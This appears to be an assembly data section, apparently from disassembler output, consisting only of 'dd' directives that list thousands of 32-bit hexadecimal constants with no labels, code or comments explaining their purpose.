dd 0A0325588h, 985E8AE4h, 0F2FE9D7Ah, 0AAB97267h, 0BEABD3C6h
dd 0F0C4C5B7h, 0A37547F1h, 0FFFDD04Ch, 0B6EAD674h, 82241C90h
dd 62492D0Dh, 83F805ACh, 656FB4F4h, 2E2111C3h, 516FACBBh
dd 0EDF93341h, 0C1011CE7h, 0E815DD70h, 3CD551C0h, 0C38B7649h
dd 2747EF44h, 0CE644E6Ch, 61E69B2h, 4A2563B8h, 1615EE0Ch
dd 77237FB2h, 0A9121E2Eh, 6731692Bh, 0E74441EBh, 6070D16Fh
dd 0AF3B8E27h, 0CCA72009h, 0FC968811h, 853B882Ch, 0DC775B5h
dd 655CD0FEh, 795F9D00h, 209D56C2h, 9C08B141h, 0D34835D4h
dd 1E68C407h, 1BB94C42h, 48048C04h, 47F26700h, 4C78183Bh
dd 0B818AC64h, 6909F42Eh, 0F477F4A4h, 5671CFD7h, 3A73691Ah
dd 59F4C660h, 9A9F2B6Dh, 6C70823Dh, 37DBADFh, 25C1342Fh
dd 0DFE5CAA0h, 2C011752h, 21B2E912h, 869D9E9Bh, 6F7C3EBBh
dd 0C545439Ch, 40F63945h, 0FDC8C012h, 0C3F0E7h, 992B5CB3h
dd 2B295B78h, 29DAAE21h, 0A6FB7AA7h, 78ACB1Ch, 3256030Bh
dd 29828CCDh, 8FE57F04h, 9FF35814h, 5F5F461Ah, 8D3AC187h
dd 0AD06D358h, 7ABC9270h, 0F371DF03h, 62F64D95h, 0B7177555h
dd 16D8C126h, 0A5F8C22Ah, 0ADCC37Fh, 1C8AC4DAh, 722FAF56h
dd 459CC7Fh, 32153258h, 0EA712D4Fh, 38980BBFh, 64EB4CCFh
dd 7F15384Bh, 0EF74CBBAh, 0C1B71AC7h, 662B0066h, 95A8D2D9h
dd 951A2B9h, 562EDF22h, 0F3F10B64h, 0F30B770Bh, 0B5C275DFh
dd 221C5B07h, 0E1928587h, 24F998D5h, 0BC0A6CEDh, 6DBDC1AEh
dd 154A51A3h, 0A43B4DBFh, 0BE3FAAF0h, 0A854C21Fh, 1814FF71h
dd 89FAECA2h, 195FE75Ah, 3B485CBBh, 0A228FF15h, 74037262h
dd 14DE5F3h, 0C2B695E4h, 5A369B6Ch, 2DEF5169h, 0B65BBA15h
dd 5866AEFCh, 3C91F3A9h, 0CA08ACA4h, 9442E1B9h, 7E27D69h
dd 67C62960h, 637EB4F4h, 0F1E4734Dh, 279E6907h, 29A9B303h
dd 92FF252Ch, 3B833D48h, 7E81248Dh, 8A347B42h, 0FB872D5Fh
dd 0A6155BFCh, 30FBFC08h, 41EC5B58h, 28284887h, 0E945757Ah
dd 0ACEF46D5h, 0E10A5F80h, 0DD8F5A5Ah, 270470F3h, 733E1CA9h
dd 1F144F93h, 0ED8E80A5h, 0D07CF020h, 0C7063B39h, 0C3AC5787h
dd 413D565h, 59ACAD0Fh, 0F47BAE4Ah, 0EADF9278h, 4DE6F729h
dd 0A34E0EB1h, 0EADF5458h, 0F15A9154h, 0D14C6F8Ch, 0FBF9A610h
dd 39A7611Bh, 0A5DF1F3Dh, 48DFC7CEh, 6A65EC46h, 44015328h
dd 19A54267h, 23580E0Eh, 7D263689h, 4F3E2862h, 489ADF6Ch
dd 6F6A01DDh, 8D463E1Ah, 22F44C0Ah, 0ED62D7h, 0C79C0A53h
dd 35FE374h, 44DF49Fh, 9B97F205h, 0A29A95A4h, 6A25872Eh
dd 66D7B4CCh, 0D7768426h, 0E58A7ED8h, 0F77D85A6h, 5AE748Eh
dd 0AE123C67h, 41B2B2B2h, 5D4EB100h, 0C0C5838Fh, 423DD2Eh
dd 0AFD46B95h, 0DEDA31F6h, 87F18211h, 0ACF8C136h, 61BA9565h
dd 2C63E9EAh, 36194D28h, 8C1EA87Fh, 0A37763DEh, 0C169C5CAh
dd 25652638h, 91A8C419h, 0EC76DA47h, 0EDA9AFA0h, 42FF3A47h
dd 0AF5B079Ah, 0C33D8E2Dh, 4F9D341h, 0B4DECB10h, 0DB1D5660h
dd 0BA3534D0h, 8A489A33h, 87800D27h, 0C446FDACh, 20F94326h
dd 0F8A0B228h, 0BA1D5A88h, 0A8F1487h, 7202EADBh, 0D0264B55h
dd 84224CF7h, 5BCB1276h, 8FB851C4h, 26966DCBh, 0C2A1E526h
dd 97FAF01Ch, 0A0C0DABEh
dd 972AB740h, 8B8DD6D3h, 0F4F4EA95h, 1875746h, 1F9C74DDh
dd 0A6EF5E76h, 0B947E26Ah, 0EEBFD6A8h, 1CA8E224h, 37EB1536h
dd 0E6B82C9Bh, 0EEFFE5FEh, 99C621E7h, 0C2BAD06Dh, 9431A5B5h
dd 0A01277FDh, 0F7D8932Fh, 0D850FB50h, 29D6B202h, 6CDA3D09h
dd 36535D32h, 0F1EAB6Fh, 0F97E53C4h, 909BD951h, 0A2CC6238h
dd 0C1F7F130h, 260C9151h, 8C18BCE9h, 0D91E09A9h, 3EB78087h
dd 2A2352BEh, 62B8A10h, 2277A6Fh, 0C25055E0h, 7DC7E385h
dd 8DCAAFFAh, 5EA55BC7h, 0E179CAE3h, 7DD624B3h, 3A7F77B2h
dd 74DCC559h, 1C36E261h, 7B671D75h, 569E74ACh, 6591C9D2h
dd 2D20244Ah, 34C8A8D6h, 501D36F7h, 0CCE5D39Ch, 7492B46Ch
dd 0A5ECB78Eh, 490F7226h, 5D896A6Fh, 416FF77Dh, 0DA6C39A0h
dd 9D4860D3h, 486E9E81h, 9EF23A4Eh, 1C10BD92h, 83012084h
dd 2C2BF2D5h, 0A0DF1545h, 608A01A4h, 53691B0Eh, 0B5AD99D6h
dd 0BEC17263h, 562F54ADh, 0EE12BE02h, 0F7F8BEF8h, 596B61E8h
dd 0A61958F4h, 8A04B35Bh, 4607681Ch, 3E11372Ah, 0A3F9B5h
dd 8CBA53A5h, 0CC503092h, 0C1E35EFEh, 87711836h, 869BFD28h
dd 4490CEA5h, 678484EEh, 6F62E4E9h, 27056C7Bh, 2CDFF8B3h
dd 0B552479Ah, 0B6F8E698h, 0D49E4BD7h, 7C7E66DEh, 4BC37B32h
dd 1074A3FCh, 0A7AEA5C1h, 0A16BA8B9h, 0F2EB07CBh, 0F158805Bh
dd 3EF123F9h, 9C1EC484h, 63C0BB69h, 0C5278759h, 0C14AD6F3h
dd 982BB26Dh, 674991FBh, 5CC610B0h, 0ADD05261h, 23C489C4h
dd 0B60AD070h, 0ED021DF9h, 659990D7h, 0DDCCEA70h, 9896854Ch
dd 412961C9h, 0E615AE13h, 0FB4A4775h, 9A27BEEEh, 0D06F5F20h
dd 8A83B527h, 63037D7Ah, 45E9BC9Ah, 0E918261Eh, 0B73FF811h
dd 7D966CA5h, 0D82C8B4Ch, 1E245270h, 0C8556856h, 14F727C2h
dd 0E88F3A28h, 20F2C7E3h, 8759DAB6h, 3873A92Ch, 0C15874AFh
dd 6CC3CDEAh, 8112F3EAh, 0A14A8B18h, 5BBAE157h, 12D34871h
dd 6EBE5E1h, 832C1BB5h, 3761F1D3h, 0EF7A1F34h, 95E539FCh
dd 39E23947h, 61EC91F4h, 0BD4E9529h, 18237799h, 0ADA48AB7h
dd 7A1369B0h, 0CAC01719h, 0DA7885E2h, 0D2F740B1h, 0BF4A6C2Fh
dd 4A808F35h, 9DE22989h, 1A7FF4A6h, 0F38AA5F5h, 67975B8Fh
dd 0CB757670h, 0B7935DB3h, 36013826h, 0F3E64F5Bh, 0CBCD6E16h
dd 0CA0A1E3Eh, 9A3C2937h, 87123FDDh, 24AC1C3Ch, 0D22C8846h
dd 0E6D1A49Ch, 0FE8464FCh, 4109FEh, 0C097A6E2h, 0F75A0329h
dd 3FF97780h, 266E7AC4h, 8BC225EAh, 0E93375Fh, 0F41656BCh
dd 260B0533h, 4615B6A2h, 1CEAB68Dh, 3048F134h, 3647C4C4h
dd 0C9F99F70h, 96EB82ACh, 85F04BCAh, 77B47FCAh, 0E8C07E54h
dd 7DC52B68h, 3129E920h, 4C319DCCh, 5A793AA0h, 2F3E87CCh
dd 0BC527DB5h, 2E096B94h, 0A704580Ah, 0FCE66012h, 2D326CABh
dd 0E7C3A8C4h, 97749F27h, 24F761B3h, 7928ECF0h, 0E34A8C45h
dd 0EEA75861h, 0C89FD450h, 0AC3D72C1h, 496308D8h, 0C56CC2BEh
dd 0E2FC20F6h, 0C4FD3319h, 8CA1EB2Ah, 0DDA10E5Ah, 0DD9EFD3Dh
dd 1CE0D8A9h, 27BE5C81h, 85EC2E93h, 7B3E1B75h, 0C7A9E237h
dd 65D6D1A8h, 525D1A3Ah, 7290B51Eh, 0FF5B9433h, 0E4502385h
dd 6B2DB131h, 8A11080Fh, 460B4156h, 0D9965B8Fh, 0A60C4415h
dd 6FE54B6Fh, 178BEC23h, 0A95CBC24h, 0F0003FA3h, 0C1171ED6h
dd 9EE4B056h, 40AA3787h, 5DA1048h, 1B1C0938h, 2577C99Ah
dd 8D90CC10h, 0BD964502h, 9B904B7Ch, 69FD59B3h, 9F814493h
dd 0F5D12878h, 9B8DD033h, 0F3B45BF5h, 0C0691141h, 8826A4CFh
dd 3F084C7Eh, 0CDCAF3EAh, 0A5F0EC28h, 0EC40E277h, 0C1F4890h
dd 8B53696Fh, 8208A9ACh, 57D6194Ah, 9F9517B6h, 0A73E37EBh
dd 72A0FF21h, 6462A11Bh, 0FA61C3B9h, 0AB2CBA0Ah, 0EFA9A737h
dd 5685D03Bh, 0F0CE32D0h, 8D690DAEh, 91381494h, 0B3AE5C3Eh
dd 0BAE70B46h, 0E9697A59h, 42DC593Bh, 454A500Dh, 4326C71Dh
dd 242A91A4h, 55D965B1h, 0C718104Dh, 32D7E3B3h, 9421E1D4h
dd 987FCF5Eh, 4E59D352h, 98CF01E7h, 0FE099A44h, 0E26ADBFDh
dd 157C2A02h, 2A2E8CDDh, 0FD410B7Ah, 0AA16A7B9h, 2E6E2BF9h
dd 2B15FA1Dh, 804F8984h, 0DB683AFEh, 0F41E14D9h, 8C728DBh
dd 516EFFF7h, 52D0F95Fh, 0EC11AE85h, 0C5789C1Eh, 0A8C05E3h
dd 80AD1E2Dh, 660E6B71h, 4431CEEh, 7A8A40DCh, 1BC5393Eh
dd 0C880E593h, 0DF06A513h, 7C00F4DDh, 7A0BE5D3h, 6C2F291Bh
dd 7210D24Ch, 8D2CD732h, 4E947DEDh, 461B70C0h, 30EA5C44h
dd 2E198CF4h, 3E28CE8Eh, 0BB8D0E97h, 6EE86654h, 0A2E3D41Dh
dd 0DAB863C8h, 85FFE8B5h, 30B0FAACh, 7BE954C1h, 2A9236FAh
dd 71D6B0EAh, 0C77E2800h, 0A40910C2h, 0B6E08BBEh, 51C9589Ch
dd 0C7254BEAh, 0C3A9B5DCh, 0D48CDE8h, 0D8CAB7A9h, 0B331B745h
dd 6AB61B1Bh, 0F462157Eh, 5AC371A1h, 0E52B0479h, 5AD473CAh
dd 0DDDA47FEh, 0A841558Dh, 10ED4987h, 0A971DCE3h, 0A3F1B4Ch
dd 66E512BBh, 0D25160EAh, 0D7F1CEC3h, 1907949Ah, 28CFF287h
dd 13FC4BFFh, 4B6FC08h, 5CE75EAh, 56D0989h, 0BC30F1DBh
dd 865BFC82h, 0C5C22EE4h, 93ABAF9Ch, 0E44761B0h, 0E688ED74h
dd 26662F92h, 0E456FF5Ah, 0BA38B604h, 85365AF7h, 5571CC3h
dd 0DE7CFE18h, 0A726163Eh, 967A9277h, 0DCF83082h, 7F98140Ch
dd 3ABABB4h, 0ACC8FE00h, 9EA55FF5h, 2704C120h, 8C67428Eh
dd 56D9E12Ch, 0A31CFBC2h, 4578EE9Fh, 99913E0h, 0D1EE70D4h
dd 0F2A93DA4h, 0AD68376Fh, 0C22CD3DDh, 0F9C28510h, 3B03CE7Dh
dd 109B82Fh, 0B067D2CBh, 9DB2F6B9h, 441916A0h, 0B7A1738Dh
dd 0FF015359h, 61A728E7h, 35ECC5C7h, 3DD52F1Ah, 0D297D22Fh
dd 0C54990EBh, 0D53995E6h, 84156653h, 84FCD2FEh, 235475DCh
dd 7AA56C92h, 62F11921h, 0FC34D260h, 1C116633h, 0D0CE3AC3h
dd 0C3758D34h, 9F21EFDCh, 111A27D9h, 2CDA0BB7h, 0AD740C9Eh
dd 0C0BEDC61h, 0CB8E9E83h, 0F62D7F20h, 5FF0F642h, 0CCDA824Ah
dd 0E286E928h, 0F2F14763h, 0B55DC543h, 6BDF52E7h, 969C92F2h
dd 6865C475h, 38614CAAh, 0BE39E3EBh, 5292B6D9h, 0E83760EAh
dd 0AC6BC46Fh, 0E7CDFF4Bh, 0FC5CC08Ah, 974D4EB2h, 725B03A2h
dd 91F885FEh, 384510EFh, 1A5139Dh, 17D9A512h, 0BEFBD9C8h
dd 8404E805h, 0C2C01BCh, 136F1BB1h, 460D549h, 0C0A5B061h
dd 0E1F4E321h, 88C7172Eh, 0FEC46C9Ch, 8CBED937h, 0FAA13A1Bh
dd 0C899026Fh, 0E6F5863Dh, 0CA8F215Fh, 4EA9C14Eh, 7156940Bh
dd 0D22F55D1h, 0D2EA0EECh, 9E012A98h, 52362D6Dh, 619D4CC5h
dd 39126A18h, 3A342034h, 13756019h, 0EA302001h, 4AEB0933h
dd 0EFDD8A07h, 0B9D0B446h, 0E676554Ch, 9A14877Ch, 1D9751EAh
dd 23CC77E1h, 0C9509967h, 5A2CE31Ch, 0C5321E72h, 0DE50101Fh
dd 7DFAE942h, 3C2323D9h, 0C7498C49h, 65F43E6Dh, 9EF9411Eh
dd 1B22E147h, 131A51D9h, 32A857D8h, 895320B7h, 64763FB8h
dd 4A1AE229h, 982B0273h, 430BD527h, 0C07D7CEDh, 0EA856141h
dd 0E013416Fh, 4A3DFC05h, 778161C2h, 82792866h, 0EA4744E1h
dd 7CF51014h, 8BD73B1Eh, 781F7D7Bh, 42220D4Eh, 0E1DFF7B2h
dd 0D4164088h, 0B420DB5Ch, 0DACD7317h, 32BC64E5h, 666AA227h
dd 6E6F7h, 2CD6B11Eh, 396A27C6h, 0E99BAA8Ch, 0CD5A4C70h
dd 220736BAh, 4B04C956h, 0E659E2BEh, 8F1303B5h, 0EEE1B05Dh
dd 2C0E7BD2h, 0E36E5A60h, 82C7B4B6h, 9FBFA066h, 58CB658Dh
dd 0ED210EBEh, 7925A607h
dd 6769E746h, 713ACB9Eh, 16C78596h, 66A6B8A9h, 0FCA6FE01h
dd 6708A3B1h, 0A76DC713h, 0E6C75DC8h, 0DD0CEB2Eh, 2F46A15Ch
dd 591CBEE5h, 21218198h, 40A8A571h, 0B3A71E60h, 0DCD718BBh
dd 343856E3h, 298A9A1Ch, 0A2F83844h, 4FAF43EAh, 0DC8CE3E0h
dd 0FBEDE166h, 0D668352Eh, 8B189B48h, 6F4519C1h, 0AC2C8CA7h
dd 1B587C2h, 5E949786h, 17256789h, 894FEB53h, 0D6146AA6h
dd 0A56E7166h, 0D770D500h, 0E8FB365Dh, 3C9226C3h, 0C0FEC185h
dd 3CCBB511h, 0C1A35BA4h, 0E8ABC894h, 0DA783C04h, 0B93522BDh
dd 5443B7D6h, 92655A4Eh, 0C56169EBh, 222C8F90h, 6034C153h
dd 0D5CF55CEh, 0B46D3649h, 0C6D51FDAh, 0D7137397h, 0F85D4F40h
dd 99F141D4h, 89FF8142h, 20324223h, 0B287D27Ch, 0CBA499B4h
dd 116AFC33h, 0ACB5E31Ah, 140F0077h, 0C6121C39h, 166E9DA3h
dd 2BD8D77Ch, 89E6B31Dh, 11F20896h, 1EB596E4h, 7AE3691Ah
dd 3FE9EF6Ch, 0CCFE6281h, 5AC4D140h, 7798267Fh, 4CB0A404h
dd 9C380207h, 7D570F25h, 0D99B8147h, 0E9738D30h, 0B100735Ah
dd 0F60F11A2h, 5CEB106Bh, 939F7392h, 0A0F0A140h, 0D2B4AF68h
dd 97B2E7DAh, 0ABEB3177h, 0AFCD2FE8h, 175B91A6h, 74680ADFh
dd 4D93F8F3h, 0B2347C8h, 219DDAC9h, 0D1C559BEh, 39283CB1h
dd 0F7FED247h, 5FD4BE1Dh, 0F302050Ah, 1C78D93Ah, 96029740h
dd 0F4773C40h, 0DF74E74Ah, 1BFCF57h, 4F17FAD7h, 95D17AF1h
dd 1EE2E441h, 0E88B15CFh, 4A92FD21h, 0C07D40Eh, 0E9D178A0h
dd 0D16D72D9h, 3C741678h, 2FAE8632h, 10E6B7CAh, 0D65A22B0h
dd 0A4E59544h, 0D7CBB92Ch, 89F5AB5Fh, 0D5BEB25h, 8EC15CD7h
dd 0DC553DCBh, 95AF9ADBh, 0F610DA6Dh, 0A3582851h, 121BCCC4h
dd 0B0B28557h, 9581D61Dh, 78E3BE05h, 1D1CF8C9h, 2DADEFA8h
dd 1C0E9A21h, 8EC63797h, 255E5C70h, 1323D4CDh, 7FA01923h
dd 65EE8BBCh, 0FA0B06E7h, 3E3599BFh, 56AB3E36h, 7E14C428h
dd 0A525F55Ah, 8D4B70ABh, 9492AE5Ch, 0E6EC8826h, 0AE0CBA19h
dd 77B6AC9Dh, 62B2FFCCh, 128720A1h, 1A577436h, 84243CF3h
dd 77391EF0h, 0ADB10E3Dh, 370127F3h, 9A640A05h, 2B510CBBh
dd 2E8DB3BEh, 792BC8EDh, 2AF61717h, 227B4ED8h, 10A8C075h
dd 89528FEFh, 0F574A7C6h, 39092BEDh, 0E237CF9h, 267DAB3Ah
dd 0C6DCA0EDh, 6D02CCCCh, 0FB1EC280h, 0E3464C04h, 5286FD10h
dd 0F27C002Ch, 0F29D5A9Eh, 0C66E3E16h, 681CC49Eh, 0BF4D8720h
dd 0FCC7F1D1h, 6454B6D1h, 22A5FE9Dh, 0C9C3692Dh, 0DD9807F6h
dd 1F32DA81h, 0BA836E15h, 21A8C2FAh, 0ED0C6EBCh, 8DCA4A70h
dd 132C2B36h, 0BDFEF0D7h, 859F7560h, 0EE1733BFh, 4D4F407Bh
dd 38CEDF8Ah, 71A1A226h, 0AF32070Bh, 4D655EC6h, 9F36E375h
dd 0A2E2E8BDh, 5F0CC0A5h, 33367DAEh, 493FD31Dh, 0C4F05096h
dd 0F19609BFh, 8AD392E6h, 26BBAE8Ah, 2ADDB23Eh, 0ABC6007Ch
dd 81A01F2Eh, 2A88DDA2h, 0F44646ECh, 0E2C3DF60h, 51C583ACh
dd 2BB0B340h, 2BF3285h, 0AC52480Eh, 0AFBAA7B2h, 0EE84818Bh
dd 0AEAF70h, 124F5164h, 2A5BC178h, 44800B8Fh, 7DAC6C9Ah
dd 4DB10622h, 747498C2h, 79CFFE09h, 0F2E02E1Dh, 0F4EECACh
dd 2E38E169h, 0C65CD16Ch, 26EEC3B0h, 0C0DF6B62h, 2B41BC56h
dd 64B524E7h, 3D9330EEh, 0DD1EC8BDh, 0AEF817B9h, 1C856E38h
dd 8B950FB0h, 402FF7B1h, 9AEF785Fh, 99811DAAh, 0EAFC9AA5h
dd 1D2D206Ch, 0B955CF3Ah, 51962BBBh, 6F350F6Bh, 0F8B4073Fh
dd 9999ADAFh, 0E379449Eh, 4B4292D5h, 0A73A284Eh, 96803B1h
dd 7AECF6A3h, 82F899C5h, 7E1B8DD8h, 26B618Bh, 93C10FEAh
dd 0AE017350h, 194DB212h, 0CA23EB10h, 38ECD51Eh, 0FB017837h
dd 603D4A98h, 83A85CD1h, 3721B9F5h, 0E1782606h, 0B8CDEA2Fh
dd 10619962h, 0E3D899D8h, 1383B5A5h, 0AA847887h, 0F39AAF6Ah
dd 7FED9769h, 2E4AFB00h, 0B07F562Dh, 8CE79D09h, 0DE1B57D1h
dd 8C2CE919h, 42D8A659h, 16A3BC80h, 0A20F3720h, 0E874CBD1h
dd 0A6869631h, 44DA59CFh, 0DDB62188h, 84DF555h, 13E33922h
dd 0BAC534F6h, 51215B21h, 53950FE4h, 6CA3683Fh, 483B481Bh
dd 61B23B40h, 239BC8D8h, 8536F91Fh, 3FB3AE3Dh, 906EB2CAh
dd 684BB382h, 146DEC70h, 7436BC45h, 252FD899h, 0E18F86DAh
dd 36A0091Ch, 0B5B59AB2h, 0D6444E31h, 817A2890h, 0DC458BC6h
dd 0A4843D46h, 3863170Bh, 20BA0B28h, 95C2D4C9h, 0AFE724FEh
dd 0F324C11Fh, 0B77C2FA9h, 588AA03Ah, 8112EDB9h, 0A954994Fh
dd 0FF1AFC38h, 59493644h, 0DD48C639h, 871FC274h, 0D4DBC4E5h
dd 322EAA13h, 5002D336h, 32359E62h, 26B58203h, 0B316C02h
dd 67E7D6FFh, 0EABFEC76h, 3952202h, 0B901C74Eh, 0DDD6CA9h
dd 0C1349F53h, 0D4535CA9h, 8DC2FDF9h, 93D04F15h, 8D5FAF02h
dd 2FF84346h, 4C205E76h, 3DDF29C3h, 38A9A615h, 15580BF7h
dd 31D3200Bh, 9A41A014h, 86E39CD4h, 292FCC68h, 379B41B8h
dd 8689670Ch, 6BF2E8DFh, 0B29A4C93h, 815263BFh, 7409675Fh
dd 0CCABAC9h, 87E606AFh, 5B45D8E5h, 1AC67BC8h, 9AD81F6Eh
dd 0AEFC5857h, 0B27284CBh, 27B0930Eh, 139E7433h, 20B64737h
dd 58B4435Fh, 9FE024Bh, 0C632BCA6h, 55283EEDh, 98E274B8h
dd 16D1C5F0h, 0B82E14D3h, 917B69BAh, 20DC7EC3h, 0A726E228h
dd 8971182Fh, 0AAC9A930h, 86DAB659h, 4DF937B9h, 0E6EC6723h
dd 233AF420h, 79311514h, 2CF0DB2Ah, 19848BD9h, 88FFBC7h
dd 0D3A30569h, 789A4D1Dh, 64EAE3F0h, 4F991C22h, 954DB658h
dd 0E477F74Bh, 3D54E225h, 1BD41B81h, 79191B5Ah, 0A2508AB7h
dd 0DDC21C3Ch, 2E15A187h, 0E0C97529h, 7EF43EC5h, 70889160h
dd 1DC222Dh, 8381BE51h, 182CEEDFh, 0E13691AAh, 6681B295h
dd 606915FDh, 8A136BFAh, 0A4E4854Ah, 0B5435FB8h, 0D16985F7h
dd 6345DA86h, 0EFF2D3DFh, 951F59C7h, 0E0C70052h, 297A4E75h
dd 38B8906h, 31CBEE2Fh, 0B4F62C31h, 75A07E6Ah, 0ED56C490h
dd 50449654h, 2E353479h, 0BB2B19F4h, 6EA713F8h, 5C2D3F78h
dd 98EF752Bh, 7D9EBD59h, 0E256FC5Eh, 11215B1h, 0EFEA3D06h
dd 8D33EAF9h, 0D256747h, 5016F78Ch, 37BC8F48h, 46C09637h
dd 770B4592h, 1352C99Dh, 653B3663h, 9A42AD10h, 0D1677DBFh
dd 6298328Ah, 38911599h, 0F1AE264Eh, 0B46CE9DFh, 5D4591Ch
dd 11E0056Eh, 262937FBh, 5D6F458Ah, 8FF192E3h, 581F772Ah
dd 0BE1E2F3Dh, 1B4AC5E7h, 0A929F734h, 0A0B893E8h, 62C3CDF6h
dd 49EB025Eh, 5BEC411Ch, 97417BC9h, 2CF752ABh, 82B2068Fh
dd 51EAE475h, 0D03C01F4h, 22850502h, 0DF00CC48h, 7196E925h
dd 0F41172F5h, 0E27F16ADh, 765FB5CEh, 154C2593h, 0A5A25933h
dd 0F963EE98h, 69C7E147h, 7091B6BFh, 0F7F86FF6h, 10CFA3F9h
dd 0E43AE05Ah, 0C5717EB1h, 35731CA9h, 173D0A7Ch, 0CBECB06Ch
dd 8953479Eh, 97F6BACCh, 0C8DB91DBh, 349DBF65h, 55E346ACh
dd 8FFEAB5h, 22A3B7CFh, 0AFF7F0EBh, 4DAC0E8h, 0B387FB58h
dd 2DDDFAC0h, 438DF786h, 7CC5C0C1h, 6EE23534h, 0C8032D02h
dd 0C53D6925h, 0C65EA4CFh, 0CEB41731h, 0B6C83578h, 0E0B93AB1h
dd 0EC81A20Bh, 0CBFEE380h, 0A1F065B0h, 0DFA8EAA9h, 0E7EF0D84h
dd 0E5491250h, 22ED358Ah, 88CC6B5Fh, 0CE956D35h, 377EE5A7h
dd 0E6199A9Fh, 4942FC43h, 0EE770F4h, 0BAB87ECh, 6626AF72h
dd 0E7A4D0E7h, 4DBB0BEAh, 436C1A06h, 6633309Dh, 98E219C1h
dd 335C1CE4h, 328D9B05h
dd 0EC0B17A6h, 2AB2FECCh, 67D3D0D5h, 54EA6134h, 19428AC1h
dd 0FEAEFDABh, 0C299DB55h, 197245A9h, 63C2777Dh, 53D6300h
dd 3B9B309h, 8D84ED11h, 4E1E64EDh, 0C1B3D5BEh, 44D5BFA3h
dd 0ECD3061Dh, 965AD4Ch, 7079DAABh, 681A35BCh, 4EAF7C07h
dd 83BFA396h, 496FED7Ah, 2A09548Ah, 4F1C805Eh, 0C6861D3Ch
dd 0CF9ABBA2h, 8B4DBE1Eh, 0A1AF0E2Bh, 94DC3F29h, 9FF5728Fh
dd 0F0C8D278h, 0D7E40600h, 49B24EEAh, 0F75032E9h, 0B5238D59h
dd 0A72826E8h, 44DD4E3Eh, 16D77747h, 84767910h, 4155A945h
dd 0EEAEEA08h, 0BBDE6E30h, 8A297BCAh, 54423C20h, 0CFE8ECAh
dd 1F706EC5h, 0D601E7AEh, 0DDCA35A9h, 68B54D55h, 0F9651823h
dd 0CBE594Bh, 0C3F1340Bh, 0B23A345Ah, 0E1AAB66Fh, 79A3D174h
dd 0B800A3DCh, 0C478BC66h, 5697E1Eh, 2D2FFFBh, 6904C9E8h
dd 3C23C06Ah, 0AA7358DBh, 67AD4E00h, 772B7459h, 0BBE09640h
dd 9AAF200Dh, 0C49FD7D6h, 0CBCA83DBh, 0A59CC72Dh, 90A8E2B6h
dd 77BDBEC7h, 370866F0h, 1FECCC3Ah, 6976FADFh, 0DEE6233Ah
dd 6DF030A4h, 39560B4Ah, 9F70557Eh, 8C84EBE2h, 30845CE9h
dd 0AA3D8E8Fh, 8FEB9A8h, 0FF9076E7h, 7EB05269h, 828C169h
dd 0BEC159B7h, 33BA5C35h, 0D309D59h, 9FE73A59h, 0E4D630FBh
dd 1FBCCEBDh, 9DA64AFFh, 0B569F283h, 0E825F0AAh, 0D020FABDh
dd 4F41EF63h, 69A33A78h, 7B633CA7h, 7D15ADE8h, 0E3438965h
dd 0FD93FA26h, 0CB596515h, 0D19A4726h, 0DC88472Ah, 11231A2Dh
dd 0CEB017E3h, 493A096Ah, 95FEC86Ch, 0CE5B4C5Dh, 4A21C25Bh
dd 618B82F6h, 85029354h, 0FAB738DAh, 0E0DF9B41h, 79A12050h
dd 3378E4B9h, 0AA94765Ch, 79DA15BCh, 1F2F8FEh, 74B4AE73h
dd 2C16AE03h, 25E85A46h, 5FFA8045h, 82E0D08Bh, 84A4CD43h
dd 7ACA80E7h, 1E600274h, 330C27B4h, 0BD55598Ah, 8860788Ah
dd 4C8AD965h, 57219C1h, 0FA1C4573h, 0F3168A8Ch, 1C8F1841h
dd 4DEFDD47h, 3A4798B5h, 291AAD54h, 0DB32D0E4h, 813CC4D0h
dd 0EB080A5Dh, 9B087E33h, 84FC927Ah, 332E7315h, 0DFCB21ADh
dd 0CB09587Bh, 4E0F837h, 55B2F92Eh, 6461DF49h, 374271F0h
dd 8E73D700h, 0FAEB927Ah, 3BB9323Ch, 8092F1DBh, 0F171892Ah
dd 0F32E61D7h, 0F61769C0h, 0E43B18C3h, 0A414D439h, 1E42A00h
dd 7C988232h, 0E7668B8h, 0DF902E3Bh, 0F128D6A8h, 32AC275Ah
dd 875E146Ch, 0B3669777h, 8668D2BAh, 0FA5DAF2Eh, 3CAAD7C0h
dd 2634BC7Bh, 0F842266Bh, 73B1D748h, 345FAEE8h, 10A016C9h
dd 15E31668h, 1CDF9963h, 32607F2Fh, 0FF75F9F1h, 973A95DDh
dd 0EB9C6E82h, 4F6FCC05h, 0E3EE89ABh, 0BCF4F3C4h, 620F596Dh
dd 9A377C5Ah, 54B5FC48h, 0FBC22483h, 0B0F8A008h, 95E5228Fh
dd 16212E43h, 5A1404E4h, 17822A25h, 0CD2B873Fh, 84D3166Bh
dd 89D50CA9h, 0D22AD23h, 4A3CBDD6h, 41B83F1Bh, 0AF641018h
dd 3ABFC665h, 9FBFF895h, 0F4BD0845h, 79FECA77h, 0CB5ED683h
dd 0EFFF6885h, 2E1E209Ch, 0F09F0799h, 77D3F6DEh, 0B82DE922h
dd 8A14932h, 4DB17C5Eh, 0A5ADE2C8h, 9A0763F2h, 0C4E67081h
dd 6C9EB931h, 0FD0FB9B4h, 472965F7h, 0FA0B1EF3h, 62995ACDh
dd 0E603625Ch, 496B79D7h, 9B728691h, 164FBF05h, 64FC8DF2h
dd 37910896h, 0F86FBC30h, 0D0EA5B1Ah, 8FD43F1Ah, 33A759E2h
dd 8C28C2C9h, 0A2738939h, 95692B1Ch, 0E95B828Ah, 0ECF3E7E6h
dd 0D3EDDD0Ch, 0F059B9D6h, 0E543C813h, 22E6CC00h, 90C86E9h
dd 28FF269Ch, 0C142DC27h, 2E9C3A9h, 1F2D4CE2h, 0CC0B56Eh
dd 2D89315Fh, 204B6243h, 268AE1C2h, 98FF8FD9h, 3E0E7AB7h
dd 2676F980h, 6566563Dh, 3458B16Fh, 0DEA4A44h, 8380EA6h
dd 0E233ACE8h, 0EAFB719Ah, 0F778AC43h, 655A121h, 9B9CCFFh
dd 768FBAACh, 0B24D5236h, 0C065310Ah, 8E4D6D17h, 9CB632A6h
dd 9A904D6Eh, 3CE9AB61h, 0C19B93EBh, 630F5CBAh, 0B7CC6C2Fh
dd 1785A6A9h, 62457406h, 0E62B46B2h, 7D6A9D06h, 0A876EA86h
dd 0FD50CAA1h, 35D3A514h, 3FFDC970h, 2673AB0Bh, 9C67AC8Ah
dd 879C62DEh, 0DD5A5E4Bh, 3123754Bh, 8D48F7C8h, 0D6DE5145h
dd 0DE9065D7h, 8A158273h, 99D82F8Eh, 0EFA8B4CDh, 0C4C64F1Ah
dd 87660C4Dh, 0A37D6880h, 6ECFE67Ch, 2C9876FBh, 3DD54254h
